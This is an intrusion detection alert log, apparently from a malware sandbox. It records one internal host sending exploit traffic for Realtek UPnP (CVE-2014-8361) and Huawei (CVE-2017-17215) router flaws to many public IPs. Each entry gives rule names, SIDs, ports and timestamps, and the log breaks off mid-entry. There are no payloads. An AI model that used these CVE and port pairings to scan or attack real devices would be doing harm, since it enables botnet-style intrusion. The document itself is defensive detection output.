ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.23.231.227

Timestamp:	07/20/24-23:01:03.060799
SID:	2027339
Source Port:	60402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.124.214.37

Timestamp:	07/20/24-23:01:31.976984
SID:	2835222
Source Port:	53324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.63.153.183

Timestamp:	07/20/24-23:01:43.918790
SID:	2027339
Source Port:	58112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.9.117.101

Timestamp:	07/20/24-23:01:14.095462
SID:	2835222
Source Port:	41082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.183.243.219

Timestamp:	07/20/24-23:01:34.044538
SID:	2835222
Source Port:	58422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 84.102.198.205

Timestamp:	07/20/24-23:01:25.974900
SID:	2025132
Source Port:	39232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.206.59.160

Timestamp:	07/20/24-23:01:04.049279
SID:	2829579
Source Port:	59072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.59.76.250

Timestamp:	07/20/24-23:01:42.745085
SID:	2027339
Source Port:	33088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.71.120.47

Timestamp:	07/20/24-23:01:44.469869
SID:	2027339
Source Port:	35636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.217.174.35

Timestamp:	07/20/24-23:01:47.108019
SID:	2027339
Source Port:	33128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.67.206.241

Timestamp:	07/20/24-23:01:04.058922
SID:	2835222
Source Port:	48232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.46.153.191

Timestamp:	07/20/24-23:01:27.725851
SID:	2835222
Source Port:	59222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 156.254.5.127

Timestamp:	07/20/24-23:01:44.142024
SID:	2025132
Source Port:	58070
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.140.14.0

Timestamp:	07/20/24-23:01:48.047800
SID:	2831300
Source Port:	33026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.48.65.201

Timestamp:	07/20/24-23:01:44.052569
SID:	2027339
Source Port:	35926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.42.244.253

Timestamp:	07/20/24-23:01:47.485617
SID:	2027339
Source Port:	55016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 177.10.233.116

Timestamp:	07/20/24-23:01:14.296756
SID:	2835222
Source Port:	53070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 86.24.154.203

Timestamp:	07/20/24-23:01:44.945909
SID:	2025132
Source Port:	38854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.198.81.15

Timestamp:	07/20/24-23:01:11.817297
SID:	2829579
Source Port:	60858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.7.126.6

Timestamp:	07/20/24-23:01:57.720327
SID:	2025132
Source Port:	49880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.56.81.141

Timestamp:	07/20/24-23:01:47.163877
SID:	2027339
Source Port:	38452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 145.1.23.220

Timestamp:	07/20/24-23:01:47.748808
SID:	2025132
Source Port:	33308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.114.247.43

Timestamp:	07/20/24-23:01:45.143033
SID:	2025132
Source Port:	37250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 181.63.38.118

Timestamp:	07/20/24-23:02:04.476708
SID:	2025132
Source Port:	55616
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.107.33.68

Timestamp:	07/20/24-23:01:49.741351
SID:	2025132
Source Port:	42866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 219.253.193.1

Timestamp:	07/20/24-23:01:57.655207
SID:	2025132
Source Port:	47706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 45.122.145.145

Timestamp:	07/20/24-23:01:43.498156
SID:	2025132
Source Port:	47550
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.96.129.112

Timestamp:	07/20/24-23:01:53.099889
SID:	2027339
Source Port:	60370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 141.31.223.242

Timestamp:	07/20/24-23:01:08.677189
SID:	2831300
Source Port:	54180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.232.199.152

Timestamp:	07/20/24-23:01:54.277123
SID:	2025132
Source Port:	36376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 210.209.80.73

Timestamp:	07/20/24-23:01:55.994693
SID:	2831300
Source Port:	53774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.29.217.143

Timestamp:	07/20/24-23:01:58.751559
SID:	2027339
Source Port:	46830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.242.31.133

Timestamp:	07/20/24-23:00:57.221248
SID:	2829579
Source Port:	44040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.93.66.190

Timestamp:	07/20/24-23:01:43.147883
SID:	2027339
Source Port:	59578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.38.32.209

Timestamp:	07/20/24-23:01:31.312736
SID:	2027339
Source Port:	45590
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.238.106.168

Timestamp:	07/20/24-23:01:43.023857
SID:	2027339
Source Port:	45074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.3.222.239

Timestamp:	07/20/24-23:01:42.497728
SID:	2027339
Source Port:	37924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.215.110.81

Timestamp:	07/20/24-23:01:00.654988
SID:	2835222
Source Port:	60584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.93.47.50

Timestamp:	07/20/24-23:02:01.645032
SID:	2027339
Source Port:	33712
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.66.219.47

Timestamp:	07/20/24-23:01:11.642449
SID:	2829579
Source Port:	59528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.153.158.217

Timestamp:	07/20/24-23:01:56.579360
SID:	2027339
Source Port:	39336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 92.64.232.40

Timestamp:	07/20/24-23:01:50.845923
SID:	2831300
Source Port:	55978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.255.100.151

Timestamp:	07/20/24-23:01:13.157651
SID:	2027339
Source Port:	43672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.134.147.250

Timestamp:	07/20/24-23:01:02.046626
SID:	2835222
Source Port:	54992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 210.132.156.163

Timestamp:	07/20/24-23:00:59.204975
SID:	2835222
Source Port:	55528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.22.90.90

Timestamp:	07/20/24-23:01:03.077930
SID:	2025132
Source Port:	42130
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 222.200.88.35

Timestamp:	07/20/24-23:01:14.049602
SID:	2835222
Source Port:	57588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.239.16.237

Timestamp:	07/20/24-23:01:44.945909
SID:	2027339
Source Port:	42050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.33.180.41

Timestamp:	07/20/24-23:01:06.988055
SID:	2835222
Source Port:	34964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.63.105.168

Timestamp:	07/20/24-23:01:08.575986
SID:	2027339
Source Port:	57642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.198.64.39

Timestamp:	07/20/24-23:01:07.016889
SID:	2835222
Source Port:	35002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.41.38.224

Timestamp:	07/20/24-23:01:44.944836
SID:	2027339
Source Port:	51548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 160.211.55.1

Timestamp:	07/20/24-23:01:53.237113
SID:	2025132
Source Port:	51226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 125.67.244.75

Timestamp:	07/20/24-23:01:55.666677
SID:	2831300
Source Port:	41774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 165.249.91.251

Timestamp:	07/20/24-23:01:40.301143
SID:	2835222
Source Port:	46342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.124.10.6

Timestamp:	07/20/24-23:02:08.291319
SID:	2027339
Source Port:	44488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.202.108.197

Timestamp:	07/20/24-23:01:31.326982
SID:	2027339
Source Port:	44320
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.216.95.45

Timestamp:	07/20/24-23:01:56.239090
SID:	2025132
Source Port:	41492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.130.110.142

Timestamp:	07/20/24-23:01:31.974551
SID:	2835222
Source Port:	49040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 111.211.116.144

Timestamp:	07/20/24-23:01:46.159166
SID:	2831300
Source Port:	60328
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.185.15.217

Timestamp:	07/20/24-23:01:43.180913
SID:	2027339
Source Port:	33620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 121.166.138.14

Timestamp:	07/20/24-23:01:26.145029
SID:	2027339
Source Port:	33326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 71.221.213.203

Timestamp:	07/20/24-23:01:42.474339
SID:	2025132
Source Port:	37058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 61.157.174.11

Timestamp:	07/20/24-23:01:14.366797
SID:	2025132
Source Port:	33794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 147.68.197.111

Timestamp:	07/20/24-23:01:41.431519
SID:	2025132
Source Port:	60390
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 82.79.140.185

Timestamp:	07/20/24-23:01:42.477986
SID:	2025132
Source Port:	39374
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 204.115.21.200

Timestamp:	07/20/24-23:02:48.447183
SID:	2025132
Source Port:	49718
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.200.133.254

Timestamp:	07/20/24-23:01:25.589558
SID:	2829579
Source Port:	54630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.221.173.151

Timestamp:	07/20/24-23:00:57.221624
SID:	2829579
Source Port:	56366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 136.252.196.177

Timestamp:	07/20/24-23:01:44.971718
SID:	2025132
Source Port:	54478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 76.8.56.105

Timestamp:	07/20/24-23:01:43.087294
SID:	2025132
Source Port:	48788
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.75.18.77

Timestamp:	07/20/24-23:01:44.398920
SID:	2027339
Source Port:	34292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.79.18.186

Timestamp:	07/20/24-23:01:45.453485
SID:	2025132
Source Port:	34196
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.67.248.34

Timestamp:	07/20/24-23:01:51.963339
SID:	2027339
Source Port:	40804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.167.37.167

Timestamp:	07/20/24-23:01:01.469737
SID:	2025132
Source Port:	54336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.211.124.159

Timestamp:	07/20/24-23:01:48.701126
SID:	2027339
Source Port:	38500
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.158.210.182

Timestamp:	07/20/24-23:01:31.975158
SID:	2835222
Source Port:	47600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.43.237.112

Timestamp:	07/20/24-23:01:44.362240
SID:	2027339
Source Port:	59436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 38.187.179.55

Timestamp:	07/20/24-23:01:40.291616
SID:	2835222
Source Port:	50054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.221.100.187

Timestamp:	07/20/24-23:01:01.628180
SID:	2027339
Source Port:	53798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.18.140.250

Timestamp:	07/20/24-23:01:52.081188
SID:	2027339
Source Port:	40076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.43.60.192

Timestamp:	07/20/24-23:01:41.909668
SID:	2027339
Source Port:	37138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.200.249.59

Timestamp:	07/20/24-23:01:42.962388
SID:	2025132
Source Port:	42806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 137.51.1.150

Timestamp:	07/20/24-23:01:42.706162
SID:	2025132
Source Port:	36246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.53.37.254

Timestamp:	07/20/24-23:01:01.623383
SID:	2025132
Source Port:	56122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.211.52.185

Timestamp:	07/20/24-23:01:24.943244
SID:	2829579
Source Port:	57416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 83.22.51.58

Timestamp:	07/20/24-23:01:02.047411
SID:	2835222
Source Port:	42784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.178.1

Timestamp:	07/20/24-23:01:02.076414
SID:	2835222
Source Port:	44728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.10.123.41

Timestamp:	07/20/24-23:01:43.478924
SID:	2027339
Source Port:	43554
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 185.111.137.113

Timestamp:	07/20/24-23:01:43.239928
SID:	2025132
Source Port:	36796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 179.57.28.204

Timestamp:	07/20/24-23:01:45.350108
SID:	2831300
Source Port:	57110
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 219.30.72.57

Timestamp:	07/20/24-23:01:45.143033
SID:	2831300
Source Port:	34238
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.36.69.33

Timestamp:	07/20/24-23:01:47.692209
SID:	2027339
Source Port:	40688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 206.37.245.255

Timestamp:	07/20/24-23:01:50.370395
SID:	2025132
Source Port:	39598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.163.230.218

Timestamp:	07/20/24-23:01:42.280418
SID:	2027339
Source Port:	54748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 202.1.176.48

Timestamp:	07/20/24-23:01:43.282556
SID:	2025132
Source Port:	57398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 17.78.214.126

Timestamp:	07/20/24-23:01:47.995637
SID:	2831300
Source Port:	54930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 50.90.160.227

Timestamp:	07/20/24-23:01:45.489343
SID:	2831300
Source Port:	46452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.54.139.100

Timestamp:	07/20/24-23:01:43.199406
SID:	2027339
Source Port:	53044
